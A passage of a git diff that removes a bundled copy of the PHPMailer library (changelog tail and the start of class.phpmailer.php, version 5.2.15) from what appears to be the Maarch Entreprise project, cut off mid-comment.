Changed processing functionality of Sendmail and Qmail so they cannot be - inadvertently used -* removed getFile() function, just became a simple wrapper for - file_get_contents() -* added check for PHP version (will gracefully exit if not at least PHP 5.0) -* enhanced code to check if an attachment source is the same as an embedded or - inline graphic source to eliminate duplicate attachments - -### New /test_script -We have written a test script you can use to test the script as part of your -installation. Once you press submit, the test script will send a multi-mime -email with either the message you type in or an HTML email with an inline -graphic. Two attachments are included in the email (one of the attachments -is also the inline graphic so you can see that only one copy of the graphic -is sent in the email). The test script will also display the functional -script that you can copy/paste to your editor to duplicate the functionality. - -### New examples -All new examples in both basic and advanced modes. Advanced examples show - Exception handling. - -### PHPDocumentator (phpdocs) documentation for PHPMailer version 5.0.0 -All new documentation - -## Version 2.3 (November 06, 2008) -* added Arabic language (many thanks to Bahjat Al Mostafa) -* removed English language from language files and made it a default within - class.phpmailer.php - if no language is found, it will default to use - the english language translation -* fixed public/private declarations -* corrected line 1728, $basedir to $directory -* added $sign_cert_file to avoid improper duplicate use of $sign_key_file -* corrected $this->Hello on line 612 to $this->Helo -* changed default of $LE to "\r\n" to comply with RFC 2822. Can be set by the user - if default is not acceptable -* removed trim() from return results in EncodeQP -* /test and three files it contained are removed from version 2.3 -* fixed phpunit.php for compliance with PHP5 -* changed $this->AltBody = $textMsg; to $this->AltBody = html_entity_decode($textMsg); -* We have removed the /phpdoc from the downloads. All documentation is now on - the http://phpmailer.codeworxtech.com website. - -## Version 2.2.1 () July 19 2008 -* fixed line 1092 in class.smtp.php (my apologies, error on my part) - -## Version 2.2 () July 15 2008 -* Fixed redirect issue (display of UTF-8 in thank you redirect) -* fixed error in getResponse function declaration (class.pop3.php) -* PHPMailer now PHP6 compliant -* fixed line 1092 in class.smtp.php (endless loop from missing = sign) - -## Version 2.1 (Wed, June 04 2008) -NOTE: WE HAVE A NEW LANGUAGE VARIABLE FOR DIGITALLY SIGNED S/MIME EMAILS. IF YOU CAN HELP WITH LANGUAGES OTHER THAN ENGLISH AND SPANISH, IT WOULD BE APPRECIATED. - -* added S/MIME functionality (ability to digitally sign emails) - BIG THANKS TO "sergiocambra" for posting this patch back in November 2007. - The "Signed Emails" functionality adds the Sign method to pass the private key - filename and the password to read it, and then email will be sent with - content-type multipart/signed and with the digital signature attached. -* fully compatible with E_STRICT error level - - Please note: - In about half the test environments this development version was subjected - to, an error was thrown for the date() functions used (line 1565 and 1569). - This is NOT a PHPMailer error, it is the result of an incorrectly configured - PHP5 installation. The fix is to modify your 'php.ini' file and include the - date.timezone = Etc/UTC (or your own zone) - directive, to your own server timezone - - If you do get this error, and are unable to access your php.ini file: - In your PHP script, add - `date_default_timezone_set('Etc/UTC');` - - do not try to use - `$myVar = date_default_timezone_get();` - as a test, it will throw an error. -* added ability to define path (mainly for embedded images) - function `MsgHTML($message,$basedir='')` ... where: - `$basedir` is the fully qualified path -* fixed `MsgHTML()` function: - - Embedded Images where images are specified by `<protocol>://` will not be altered or embedded -* fixed the return value of SMTP exit code ( pclose ) -* addressed issue of multibyte characters in subject line and truncating -* added ability to have user specified Message ID - (default is still that PHPMailer create a unique Message ID) -* corrected unidentified message type to 'application/octet-stream' -* fixed chunk_split() multibyte issue (thanks to Colin Brown, et al). -* added check for added attachments -* enhanced conversion of HTML to text in MsgHTML (thanks to "brunny") - -## Version 2.1.0beta2 (Sun, Dec 02 2007) -* implemented updated EncodeQP (thanks to coolbru, aka Marcus Bointon) -* finished all testing, all known bugs corrected, enhancements tested - -Note: will NOT work with PHP4. - -Please note, this is BETA software **DO NOT USE THIS IN PRODUCTION OR LIVE PROJECTS; INTENDED STRICTLY FOR TESTING** - -## Version 2.1.0beta1 -Please note, this is BETA software -** DO NOT USE THIS IN PRODUCTION OR LIVE PROJECTS - INTENDED STRICTLY FOR TESTING - -## Version 2.0.0 rc2 (Fri, Nov 16 2007), interim release -* implements new property to control VERP in class.smtp.php - example (requires instantiating class.smtp.php): - $mail->do_verp = true; -* POP-before-SMTP functionality included, thanks to Richard Davey - (see class.pop3.php & pop3_before_smtp_test.php for examples) -* included example showing how to use PHPMailer with GMAIL -* fixed the missing Cc in SendMail() and Mail() - -## Version 2.0.0 rc1 (Thu, Nov 08 2007), interim release -* dramatically simplified using inline graphics ... it's fully automated and requires no user input -* added automatic document type detection for attachments and pictures -* added MsgHTML() function to replace Body tag for HTML emails -* fixed the SendMail security issues (input validation vulnerability) -* enhanced the AddAddresses functionality so that the "Name" portion is used in the email address -* removed the need to use the AltBody method (set from the HTML, or default text used) -* set the PHP Mail() function as the default (still support SendMail, SMTP Mail) -* removed the need to set the IsHTML property (set automatically) -* added Estonian language file by Indrek Päri -* added header injection patch -* added "set" method to permit users to create their own pseudo-properties like 'X-Headers', etc. -* fixed warning message in SMTP get_lines method -* added TLS/SSL SMTP support. -* PHPMailer has been tested with PHP4 (4.4.7) and PHP5 (5.2.7) -* Works with PHP installed as a module or as CGI-PHP -NOTE: will NOT work with PHP5 in E_STRICT error mode - -## Version 1.73 (Sun, Jun 10 2005) -* Fixed denial of service bug: http://www.cybsec.com/vuln/PHPMailer-DOS.pdf -* Now has a total of 20 translations -* Fixed alt attachments bug: http://tinyurl.com/98u9k - -## Version 1.72 (Wed, May 25 2004) -* Added Dutch, Swedish, Czech, Norwegian, and Turkish translations. -* Received: Removed this method because spam filter programs like - SpamAssassin reject this header. -* Fixed error count bug. -* SetLanguage default is now "language/". -* Fixed magic_quotes_runtime bug. - -## Version 1.71 (Tue, Jul 28 2003) -* Made several speed enhancements -* Added German and Italian translation files -* Fixed HELO/AUTH bugs on keep-alive connects -* Now provides an error message if language file does not load -* Fixed attachment EOL bug -* Updated some unclear documentation -* Added additional tests and improved others - -## Version 1.70 (Mon, Jun 20 2003) -* Added SMTP keep-alive support -* Added IsError method for error detection -* Added error message translation support (SetLanguage) -* Refactored many methods to increase library performance -* Hello now sends the newer EHLO message before HELO as per RFC 2821 -* Removed the boundary class and replaced it with GetBoundary -* Removed queue support methods -* New $Hostname variable -* New Message-ID header -* Received header reformat -* Helo variable default changed to $Hostname -* Removed extra spaces in Content-Type definition (#667182) -* Return-Path should be set to Sender when set -* Adds Q or B encoding to headers when necessary -* quoted-encoding should now encode NULs \000 -* Fixed encoding of body/AltBody (#553370) -* Adds "To: undisclosed-recipients:;" when all recipients are hidden (BCC) -* Multiple bug fixes - -## Version 1.65 (Fri, Aug 09 2002) -* Fixed non-visible attachment bug (#585097) for Outlook -* SMTP connections are now closed after each transaction -* Fixed SMTP::Expand return value -* Converted SMTP class documentation to phpDocumentor format - -## Version 1.62 (Wed, Jun 26 2002) -* Fixed multi-attach bug -* Set proper word wrapping -* Reduced memory use with attachments -* Added more debugging -* Changed documentation to phpDocumentor format - -## Version 1.60 (Sat, Mar 30 2002) -* Sendmail pipe and address patch (Christian Holtje) -* Added embedded image and read confirmation support (A. Ognio) -* Added unit tests -* Added SMTP timeout support (*nix only) -* Added possibly temporary PluginDir variable for SMTP class -* Added LE message line ending variable -* Refactored boundary and attachment code -* Eliminated SMTP class warnings -* Added SendToQueue method for future queuing support - -## Version 1.54 (Wed, Dec 19 2001) -* Add some queuing support code -* Fixed a pesky multi/alt bug -* Messages are no longer forced to have "To" addresses - -## Version 1.50 (Thu, Nov 08 2001) -* Fix extra lines when not using SMTP mailer -* Set WordWrap variable to int with a zero default - -## Version 1.47 (Tue, Oct 16 2001) -* Fixed Received header code format -* Fixed AltBody order error -* Fixed alternate port warning - -## Version 1.45 (Tue, Sep 25 2001) -* Added enhanced SMTP debug support -* Added support for multiple ports on SMTP -* Added Received header for tracing -* Fixed AddStringAttachment encoding -* Fixed possible header name quote bug -* Fixed wordwrap() trim bug -* Couple other small bug fixes - -## Version 1.41 (Wed, Aug 22 2001) -* Fixed AltBody bug w/o attachments -* Fixed rfc_date() for certain mail servers - -## Version 1.40 (Sun, Aug 12 2001) -* Added multipart/alternative support (AltBody) -* Documentation update -* Fixed bug in Mercury MTA - -## Version 1.29 (Fri, Aug 03 2001) -* Added AddStringAttachment() method -* Added SMTP authentication support - -## Version 1.28 (Mon, Jul 30 2001) -* Fixed a typo in SMTP class -* Fixed header issue with Imail (win32) SMTP server -* Made fopen() calls for attachments use "rb" to fix win32 error - -## Version 1.25 (Mon, Jul 02 2001) -* Added RFC 822 date fix (Patrice) -* Added improved error handling by adding a $ErrorInfo variable -* Removed MailerDebug variable (obsolete with new error handler) - -## Version 1.20 (Mon, Jun 25 2001) -* Added quoted-printable encoding (Patrice) -* Set Version as public and removed PrintVersion() -* Changed phpdoc to only display public variables and methods - -## Version 1.19 (Thu, Jun 21 2001) -* Fixed MS Mail header bug -* Added fix for Bcc problem with mail(). *Does not work on Win32* - (See PHP bug report: http://www.php.net/bugs.php?id=11616) -* mail() no longer passes a fifth parameter when not needed - -## Version 1.15 (Fri, Jun 15 2001) -Note: these changes contributed by Patrice Fournier -* Changed all remaining \n to \r\n -* Bcc: header no longer written to message except - when sent directly to sendmail -* Added a small message to non-MIME compliant mail reader -* Added Sender variable to change the Sender email - used in -f for sendmail/mail and in 'MAIL FROM' for smtp mode -* Changed boundary setting to a place it will be set only once -* Removed transfer encoding for whole message when using multipart -* Message body now uses Encoding in multipart messages -* Can set encoding and type to attachments 7bit, 8bit - and binary attachment are sent as is, base64 are encoded -* Can set Encoding to base64 to send 8 bits body - through 7 bits servers - -## Version 1.10 (Tue, Jun 12 2001) -* Fixed win32 mail header bug (printed out headers in message body) - -## Version 1.09 (Fri, Jun 08 2001) -* Changed date header to work with Netscape mail programs -* Altered phpdoc documentation - -## Version 1.08 (Tue, Jun 05 2001) -* Added enhanced error-checking -* Added phpdoc documentation to source - -## Version 1.06 (Fri, Jun 01 2001) -* Added optional name for file attachments - -## Version 1.05 (Tue, May 29 2001) -* Code cleanup -* Eliminated sendmail header warning message -* Fixed possible SMTP error - -## Version 1.03 (Thu, May 24 2001) -* Fixed problem where qmail sends out duplicate messages - -## Version 1.02 (Wed, May 23 2001) -* Added multiple recipient and attachment Clear* methods -* Added Sendmail public variable -* Fixed problem with loading SMTP library multiple times - -## Version 0.98 (Tue, May 22 2001) -* Fixed problem with redundant mail hosts sending out multiple messages -* Added additional error handler code -* Added AddCustomHeader() function -* Added support for Microsoft mail client headers (affects priority) -* Fixed small bug with Mailer variable -* Added PrintVersion() function - -## Version 0.92 (Tue, May 15 2001) -* Changed file names to class.phpmailer.php and class.smtp.php to match - current PHP class trend. -* Fixed problem where body not being printed when a message is attached -* Several small bug fixes - -## Version 0.90 (Tue, April 17 2001) -* Initial public release diff --git a/apps/maarch_entreprise/tools/PHPMailer/class.phpmailer.php b/apps/maarch_entreprise/tools/PHPMailer/class.phpmailer.php deleted file mode 100755 index 8c621bc2a6ddd85690cd18f98fdc6458728ccbe8..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/class.phpmailer.php +++ /dev/null @@ -1,3924 +0,0 @@ -<?php -/** - * PHPMailer - PHP email creation and transport class. - * PHP Version 5 - * @package PHPMailer - * @link https://github.com/PHPMailer/PHPMailer/ The PHPMailer GitHub project - * @author Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk> - * @author Jim Jagielski (jimjag) <jimjag@gmail.com> - * @author Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net> - * @author Brent R. Matzelle (original founder) - * @copyright 2012 - 2014 Marcus Bointon - * @copyright 2010 - 2012 Jim Jagielski - * @copyright 2004 - 2009 Andy Prevost - * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License - * @note This program is distributed in the hope that it will be useful - WITHOUT - * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or - * FITNESS FOR A PARTICULAR PURPOSE. - */ - -/** - * PHPMailer - PHP email creation and transport class. - * @package PHPMailer - * @author Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk> - * @author Jim Jagielski (jimjag) <jimjag@gmail.com> - * @author Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net> - * @author Brent R. Matzelle (original founder) - */ -class PHPMailer -{ - /** - * The PHPMailer Version number. - * @var string - */ - public $Version = '5.2.15'; - - /** - * Email priority. - * Options: null (default), 1 = High, 3 = Normal, 5 = low. - * When null, the header is not set at all. - * @var integer - */ - public $Priority = null; - - /** - * The character set of the message. - * @var string - */ - public $CharSet = 'iso-8859-1'; - - /** - * The MIME Content-type of the message. - * @var string - */ - public $ContentType = 'text/plain'; - - /** - * The message encoding. - * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable". - * @var string - */ - public $Encoding = '8bit'; - - /** - * Holds the most recent mailer error message. - * @var string - */ - public $ErrorInfo = ''; - - /** - * The From email address for the message. - * @var string - */ - public $From = 'root@localhost'; - - /** - * The From name of the message. - * @var string - */ - public $FromName = 'Root User'; - - /** - * The Sender email (Return-Path) of the message. - * If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode. - * @var string - */ - public $Sender = ''; - - /** - * The Return-Path of the message. - * If empty, it will be set to either From or Sender. - * @var string - * @deprecated Email senders should never set a return-path header; - * it's the receiver's job (RFC5321 section 4.4), so this no longer does anything. - * @link https://tools.ietf.org/html/rfc5321#section-4.4 RFC5321 reference - */ - public $ReturnPath = ''; - - /** - * The Subject of the message. - * @var string - */ - public $Subject = ''; - - /** - * An HTML or plain text message body. - * If HTML then call isHTML(true). - * @var string - */ - public $Body = ''; - - /** - * The plain-text message body. - * This body can be read by mail clients that do not have HTML email - * capability such as mutt & Eudora. - * Clients that can read HTML will view the normal Body. - * @var string - */ - public $AltBody = ''; - - /** - * An iCal message part body. - * Only supported in simple alt or alt_inline message types - * To generate iCal events, use the bundled extras/EasyPeasyICS.php class or iCalcreator - * @link http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/ - * @link http://kigkonsult.se/iCalcreator/ - * @var string - */ - public $Ical = ''; - - /** - * The complete compiled MIME message body. - * @access protected - * @var string - */ - protected $MIMEBody = ''; - - /** - * The complete compiled MIME message headers. - * @var string - * @access protected - */ - protected $MIMEHeader = ''; - - /** - * Extra headers that createHeader() doesn't fold in. - * @var string - * @access protected - */ - protected $mailHeader = ''; - - /** - * Word-wrap the message body to this number of chars. - * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance. - * @var integer - */ - public $WordWrap = 0; - - /** - * Which method to use to send mail. - * Options: "mail", "sendmail", or "smtp". - * @var string - */ - public $Mailer = 'mail'; - - /** - * The path to the sendmail program. - * @var string - */ - public $Sendmail = '/usr/sbin/sendmail'; - - /** - * Whether mail() uses a fully sendmail-compatible MTA. - * One which supports sendmail's "-oi -f" options. - * @var boolean - */ - public $UseSendmailOptions = true; - - /** - * Path to PHPMailer plugins. - * Useful if the SMTP class is not in the PHP include path. - * @var string - * @deprecated Should not be needed now there is an autoloader. - */ - public $PluginDir = ''; - - /** - * The email address that a reading confirmation should be sent to, also known as read receipt. - * @var string - */ - public $ConfirmReadingTo = ''; - - /** - * The hostname to use in the Message-ID header and as default HELO string. - * If empty, PHPMailer attempts to find one with, in order, - * $_SERVER['SERVER_NAME'], gethostname(), php_uname('n'), or the value - * 'localhost.localdomain'. - * @var string - */ - public $Hostname = ''; - - /** - * An ID to be used in the Message-ID header. - * If empty, a unique id will be generated. - * @var string - */ - public $MessageID = ''; - - /** - * The message Date to be used in the Date header. - * If empty, the current date will be added. - * @var string - */ - public $MessageDate = ''; - - /** - * SMTP hosts. - * Either a single hostname or multiple semicolon-delimited hostnames. - * You can also specify a different port - * for each host by using this format: [hostname:port] - * (e.g. "smtp1.example.com:25;smtp2.example.com"). - * You can also specify encryption type, for example: - * (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465"). - * Hosts will be tried in order. - * @var string - */ - public $Host = 'localhost'; - - /** - * The default SMTP server port. - * @var integer - * @TODO Why is this needed when the SMTP class takes care of it? - */ - public $Port = 25; - - /** - * The SMTP HELO of the message. - * Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find - * one with the same method described above for $Hostname. - * @var string - * @see PHPMailer::$Hostname - */ - public $Helo = ''; - - /** - * What kind of encryption to use on the SMTP connection. - * Options: '', 'ssl' or 'tls' - * @var string - */ - public $SMTPSecure = ''; - - /** - * Whether to enable TLS encryption automatically if a server supports it, - * even if `SMTPSecure` is not set to 'tls'. - * Be aware that in PHP >= 5.6 this requires that the server's certificates are valid. - * @var boolean - */ - public $SMTPAutoTLS = true; - - /** - * Whether to use SMTP authentication. - * Uses the Username and Password properties. - * @var boolean - * @see PHPMailer::$Username - * @see PHPMailer::$Password - */ - public $SMTPAuth = false; - - /** - * Options array passed to stream_context_create when connecting via SMTP. - * @var array - */ - public $SMTPOptions = array(); - - /** - * SMTP username. - * @var string - */ - public $Username = ''; - - /** - * SMTP password. - * @var string - */ - public $Password = ''; - - /** - * SMTP auth type. - * Options are CRAM-MD5, LOGIN, PLAIN, NTLM, XOAUTH2, attempted in that order if not specified - * @var string - */ - public $AuthType = ''; - - /** - * SMTP realm. - * Used for NTLM auth - * @var string - */ - public $Realm = ''; - - /** - * SMTP workstation. - * Used for NTLM auth - * @var string - */ - public $Workstation = ''; - - /** - * The SMTP server timeout in seconds. - * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2 - * @var integer - */ - public $Timeout = 300; - - /** - * SMTP class debug output mode. - * Debug output level. - * Options: - * * `0` No output - * * `1` Commands - * * `2` Data and commands - * * `3` As 2 plus connection status - * * `4` Low-level data output - * @var integer - * @see SMTP::$do_debug - */ - public $SMTPDebug = 0; - - /** - * How to handle debug output. - * Options: - * * `echo` Output plain-text as-is, appropriate for CLI - * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output - * * `error_log` Output to error log as configured in php.ini - * - * Alternatively, you can provide a callable expecting two params: a message string and the debug level: - * <code> - * $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";}; - * </code> - * @var string|callable - * @see SMTP::$Debugoutput - */ - public $Debugoutput = 'echo'; - - /** - * Whether to keep SMTP connection open after each message. - * If this is set to true then to close the connection - * requires an explicit call to smtpClose(). - * @var boolean - */ - public $SMTPKeepAlive = false; - - /** - * Whether to split multiple to addresses into multiple messages - * or send them all in one message. - * Only supported in `mail` and `sendmail` transports, not in SMTP. - * @var boolean - */ - public $SingleTo = false; - - /** - * Storage for addresses when SingleTo is enabled. - * @var array - * @TODO This should really not be public - */ - public $SingleToArray = array(); - - /** - * Whether to generate VERP addresses on send. - * Only applicable when sending via SMTP. - * @link https://en.wikipedia.org/wiki/Variable_envelope_return_path - * @link http://www.postfix.org/VERP_README.html Postfix VERP info - * @var boolean - */ - public $do_verp = false; - - /** - * Whether to allow sending messages with an empty body. - * @var boolean - */ - public $AllowEmpty = false; - - /** - * The default line ending. - * @note The default remains "\n". We force CRLF where we know - * it must be used via self::CRLF. - * @var string - */ - public $LE = "\n"; - - /** - * DKIM selector. - * @var string - */ - public $DKIM_selector = ''; - - /** - * DKIM Identity. - * Usually the email address used as the source of the email. - * @var string - */ - public $DKIM_identity = ''; - - /** - * DKIM passphrase. - * Used if your key is encrypted. - * @var string - */ - public $DKIM_passphrase = ''; - - /** - * DKIM signing domain name. - * @example 'example.com' - * @var string - */ - public $DKIM_domain = ''; - - /** - * DKIM private key file path. - * @var string - */ - public $DKIM_private = ''; - - /** - * Callback Action function name. - * - * The function that handles the result of the send email action. - * It is called out by send() for each email sent. - * - * Value can be any php callable: http://www.php.net/is_callable - * - * Parameters: - * boolean $result result of the send action - * string $to email address of the recipient - * string $cc cc email addresses - * string $bcc bcc email addresses - * string $subject the subject - * string $body the email body - * string $from email address of sender - * @var string - */ - public $action_function = ''; - - /** - * What to put in the X-Mailer header. - * Options: An empty string for PHPMailer default, whitespace for none, or a string to use - * @var string - */ - public $XMailer = ''; - - /** - * Which validator to use by default when validating email addresses. - * May be a callable to inject your own validator, but there are several built-in validators. - * @see PHPMailer::validateAddress() - * @var string|callable - * @static - */ - public static $validator = 'auto'; - - /** - * An instance of the SMTP sender class. - * @var SMTP - * @access protected - */ - protected $smtp = null; - - /** - * The array of 'to' names and addresses. - * @var array - * @access protected - */ - protected $to = array(); - - /** - * The array of 'cc' names and addresses. - * @var array - * @access protected - */ - protected $cc = array(); - - /** - * The array of 'bcc' names and addresses. - * @var array - * @access protected - */ - protected $bcc = array(); - - /** - * The array of reply-to names and addresses. - * @var array - * @access protected - */ - protected $ReplyTo = array(); - - /** - * An array of all kinds of addresses. - * Includes all of $to, $cc, $bcc - * @var array - * @access protected - * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc - */ - protected $all_recipients = array(); - - /** - * An array of names and addresses queued for validation. - * In send(), valid and non duplicate entries are moved to $all_recipients - * and one of $to, $cc, or $bcc. - * This array is used only for addresses with IDN. - * @var array - * @access protected - * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc - * @see PHPMailer::$all_recipients - */ - protected $RecipientsQueue = array(); - - /** - * An array of reply-to names and addresses queued for validation. - * In send(), valid and non duplicate entries are moved to $ReplyTo. - * This array is used only for addresses with IDN. - * @var array - * @access protected - * @see PHPMailer::$ReplyTo - */ - protected $ReplyToQueue = array(); - - /** - * The array of attachments. - * @var array - * @access protected - */ - protected $attachment = array(); - - /** - * The array of custom headers. - * @var array - * @access protected - */ - protected $CustomHeader = array(); - - /** - * The most recent Message-ID (including angular brackets). - * @var string - * @access protected - */ - protected $lastMessageID = ''; - - /** - * The message's MIME type. - * @var string - * @access protected - */ - protected $message_type = ''; - - /** - * The array of MIME boundary strings. - * @var array - * @access protected - */ - protected $boundary = array(); - - /** - * The array of available languages. - * @var array - * @access protected - */ - protected $language = array(); - - /** - * The number of errors encountered. - * @var integer - * @access protected - */ - protected $error_count = 0; - - /** - * The S/MIME certificate file path. - * @var string - * @access protected - */ - protected $sign_cert_file = ''; - - /** - * The S/MIME key file path. - * @var string - * @access protected - */ - protected $sign_key_file = ''; - - /** - * The optional S/MIME extra certificates ("CA Chain") file path. - * @var string - * @access protected - */ - protected $sign_extracerts_file = ''; - - /** - * The S/MIME password for the key. - * Used only if the key is encrypted. - * @var string - * @access protected - */ - protected $sign_key_pass = ''; - - /** - * Whether to throw exceptions for errors. - * @var boolean - * @access protected - */ - protected $exceptions = false; - - /** - * Unique ID used for message ID and boundaries. - * @var string - * @access protected - */ - protected $uniqueid = ''; - - /** - * Error severity: message only, continue processing. - */ - const STOP_MESSAGE = 0; - - /** - * Error severity: message, likely ok to continue processing. - */ - const STOP_CONTINUE = 1; - - /** - * Error severity: message, plus full stop, critical error reached. - */ - const STOP_CRITICAL = 2; - - /** - * SMTP RFC standard line ending. - */ - const CRLF = "\r\n"; - - /** - * The maximum line length allowed by RFC 2822 section 2.1.1 - * @var integer - */ - const MAX_LINE_LENGTH = 998; - - /** - * Constructor. - * @param boolean $exceptions Should we throw external exceptions? - */ - public function __construct($exceptions = null) - { - if ($exceptions !== null) { - $this->exceptions = (boolean)$exceptions; - } - } - - /** - * Destructor. - */ - public function __destruct() - { - //Close any open SMTP connection nicely - $this->smtpClose(); - } - - /** - * Call mail() in a safe_mode-aware fashion. - * Also, unless sendmail_path points to sendmail (or something that - * claims to be sendmail), don't pass params (not a perfect fix, - * but it will do) - * @param string $to To - * @param string $subject Subject - * @param string $body Message Body - * @param string $header Additional Header(s) - * @param string $params Params - * @access private - * @return boolean - */ - private function mailPassthru($to, $subject, $body, $header, $params) - { - //Check overloading of mail function to avoid double-encoding - if (ini_get('mbstring.func_overload') & 1) { - $subject = $this->secureHeader($subject); - } else { - $subject = $this->encodeHeader($this->secureHeader($subject)); - } - //Can't use additional_parameters in safe_mode - //@link http://php.net/manual/en/function.mail.php - if (ini_get('safe_mode') or !$this->UseSendmailOptions) { - $result = @mail($to, $subject, $body, $header); - } else { - $result = @mail($to, $subject, $body, $header, $params); - } - return $result; - } - - /** - * Output debugging info via user-defined method. - * Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug). - * @see PHPMailer::$Debugoutput - * @see PHPMailer::$SMTPDebug - * @param string $str - */ - protected function edebug($str) - { - if ($this->SMTPDebug <= 0) { - return; - } - //Avoid clash with built-in function names - if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) { - call_user_func($this->Debugoutput, $str, $this->SMTPDebug); - return; - } - switch ($this->Debugoutput) { - case 'error_log': - //Don't output, just log - error_log($str); - break; - case 'html': - //Cleans up output a bit for a better looking, HTML-safe output - echo htmlentities( - preg_replace('/[\r\n]+/', '', $str), - ENT_QUOTES, - 'UTF-8' - ) - . "<br>\n"; - break; - case 'echo': - default: - //Normalize line breaks - $str = preg_replace('/\r\n?/ms', "\n", $str); - echo gmdate('Y-m-d H:i:s') . "\t" . str_replace( - "\n", - "\n \t ", - trim($str) - ) . "\n"; - } - } - - /** - * Sets message type to HTML or plain. - * @param boolean $isHtml True for HTML mode. - * @return void - */ - public function isHTML($isHtml = true) - { - if ($isHtml) { - $this->ContentType = 'text/html'; - } else { - $this->ContentType = 'text/plain'; - } - } - - /** - * Send messages using SMTP. - * @return void - */ - public function isSMTP() - { - $this->Mailer = 'smtp'; - } - - /** - * Send messages using PHP's mail() function. - * @return void - */ - public function isMail() - { - $this->Mailer = 'mail'; - } - - /** - * Send messages using $Sendmail. - * @return void - */ - public function isSendmail() - { - $ini_sendmail_path = ini_get('sendmail_path'); - - if (!stristr($ini_sendmail_path, 'sendmail')) { - $this->Sendmail = '/usr/sbin/sendmail'; - } else { - $this->Sendmail = $ini_sendmail_path; - } - $this->Mailer = 'sendmail'; - } - - /** - * Send messages using qmail. - * @return void - */ - public function isQmail() - { - $ini_sendmail_path = ini_get('sendmail_path'); - - if (!stristr($ini_sendmail_path, 'qmail')) { - $this->Sendmail = '/var/qmail/bin/qmail-inject'; - } else { - $this->Sendmail = $ini_sendmail_path; - } - $this->Mailer = 'qmail'; - } - - /** - * Add a "To" address. - * @param string $address The email address to send to - * @param string $name - * @return boolean true on success, false if address already used or invalid in some way - */ - public function addAddress($address, $name = '') - { - return $this->addOrEnqueueAnAddress('to', $address, $name); - } - - /** - * Add a "CC" address. - * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer. - * @param string $address The email address to send to - * @param string $name - * @return boolean true on success, false if address already used or invalid in some way - */ - public function addCC($address, $name = '') - { - return $this->addOrEnqueueAnAddress('cc', $address, $name); - } - - /** - * Add a "BCC" address. - * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer. - * @param string $address The email address to send to - * @param string $name - * @return boolean true on success, false if address already used or invalid in some way - */ - public function addBCC($address, $name = '') - { - return $this->addOrEnqueueAnAddress('bcc', $address, $name); - } - - /** - * Add a "Reply-To" address. - * @param string $address The email address to reply to - * @param string $name - * @return boolean true on success, false if address already used or invalid in some way - */ - public function addReplyTo($address, $name = '') - { - return $this->addOrEnqueueAnAddress('Reply-To', $address, $name); - } - - /** - * Add an address to one of the recipient arrays or to the ReplyTo array. Because PHPMailer - * can't validate addresses with an IDN without knowing the PHPMailer::$CharSet (that can still - * be modified after calling this function), addition of such addresses is delayed until send(). - * Addresses that have been added already return false, but do not throw exceptions. - * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo' - * @param string $address The email address to send, resp. to reply to - * @param string $name - * @throws phpmailerException - * @return boolean true on success, false if address already used or invalid in some way - * @access protected - */ - protected function addOrEnqueueAnAddress($kind, $address, $name) - { - $address = trim($address); - $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim - if (($pos = strrpos($address, '@')) === false) { - // At-sign is misssing. - $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address"; - $this->setError($error_message); - $this->edebug($error_message); - if ($this->exceptions) { - throw new phpmailerException($error_message); - } - return false; - } - $params = array($kind, $address, $name); - // Enqueue addresses with IDN until we know the PHPMailer::$CharSet. - if ($this->has8bitChars(substr($address, ++$pos)) and $this->idnSupported()) { - if ($kind != 'Reply-To') { - if (!array_key_exists($address, $this->RecipientsQueue)) { - $this->RecipientsQueue[$address] = $params; - return true; - } - } else { - if (!array_key_exists($address, $this->ReplyToQueue)) { - $this->ReplyToQueue[$address] = $params; - return true; - } - } - return false; - } - // Immediately add standard addresses without IDN. - return call_user_func_array(array($this, 'addAnAddress'), $params); - } - - /** - * Add an address to one of the recipient arrays or to the ReplyTo array. - * Addresses that have been added already return false, but do not throw exceptions. - * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo' - * @param string $address The email address to send, resp. to reply to - * @param string $name - * @throws phpmailerException - * @return boolean true on success, false if address already used or invalid in some way - * @access protected - */ - protected function addAnAddress($kind, $address, $name = '') - { - if (!in_array($kind, array('to', 'cc', 'bcc', 'Reply-To'))) { - $error_message = $this->lang('Invalid recipient kind: ') . $kind; - $this->setError($error_message); - $this->edebug($error_message); - if ($this->exceptions) { - throw new phpmailerException($error_message); - } - return false; - } - if (!$this->validateAddress($address)) { - $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address"; - $this->setError($error_message); - $this->edebug($error_message); - if ($this->exceptions) { - throw new phpmailerException($error_message); - } - return false; - } - if ($kind != 'Reply-To') { - if (!array_key_exists(strtolower($address), $this->all_recipients)) { - array_push($this->$kind, array($address, $name)); - $this->all_recipients[strtolower($address)] = true; - return true; - } - } else { - if (!array_key_exists(strtolower($address), $this->ReplyTo)) { - $this->ReplyTo[strtolower($address)] = array($address, $name); - return true; - } - } - return false; - } - - /** - * Parse and validate a string containing one or more RFC822-style comma-separated email addresses - * of the form "display name <address>" into an array of name/address pairs. - * Uses the imap_rfc822_parse_adrlist function if the IMAP extension is available. - * Note that quotes in the name part are removed. - * @param string $addrstr The address list string - * @param bool $useimap Whether to use the IMAP extension to parse the list - * @return array - * @link 